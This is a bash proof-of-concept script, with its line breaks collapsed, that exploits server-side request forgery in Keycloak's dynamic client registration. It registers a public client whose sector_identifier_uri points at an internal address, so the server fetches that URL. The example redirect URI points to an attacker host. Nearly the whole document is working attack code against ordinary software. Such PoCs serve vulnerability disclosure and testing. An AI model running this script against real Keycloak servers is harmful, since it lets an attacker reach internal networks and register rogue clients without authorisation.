#!/usr/bin/env bash set -euo pipefail # Usage: # ./keycloak-dcr-ssrf.sh # # The sector_identifier_uri endpoint must return: # [""] # # Example: # ./keycloak-dcr-ssrf.sh \ # https://sso.example.com \ # myrealm \ # http://127.0.0.1:8999/sector.json \ # https://attacker.example/callback if [ "$#" -ne 4 ]; then echo "Usage: $0 " >&2 exit 1 fi KC_URL=${1%/} REALM=$2 SECTOR_URI=$3 REDIRECT_URI=$4 ENDPOINT="$KC_URL/realms/$REALM/clients-registrations/openid-connect" PAYLOAD=$(python3 - "$SECTOR_URI" "$REDIRECT_URI" <<'PY' import json import sys import time sector_uri, redirect_uri = sys.argv[1:3] print(json.dumps({ "client_name": f"ssrf-poc-{int(time.time())}", "redirect_uris": [redirect_uri], "grant_types": ["authorization_code"], "response_types": ["code"], "token_endpoint_auth_method": "none", "subject_type": "pairwise", "sector_identifier_uri": sector_uri })) PY ) RESPONSE=$(mktemp) trap 'rm -f "$RESPONSE"' EXIT STATUS=$(curl -ksS \ -o "$RESPONSE" \ -w '%{http_code}' \ -X POST "$ENDPOINT" \ -H 'Content-Type: application/json' \ --data-binary "$PAYLOAD") echo "[*] Endpoint : $ENDPOINT" echo "[*] SSRF URI : $SECTOR_URI" echo "[*] HTTP : $STATUS" python3 - "$RESPONSE" <<'PY' import json import sys path = sys.argv[1] try: with open(path) as f: data = json.load(f) except Exception: with open(path) as f: print(f.read()) raise SystemExit data.pop("registration_access_token", None) print(json.dumps(data, indent=2)) PY if [ "$STATUS" = "201" ]; then echo "[+] Client registered: Keycloak accepted sector_identifier_uri" echo "[+] Check the HTTP listener or target logs for the server-side GET" else echo "[-] Registration failed" exit 1 fi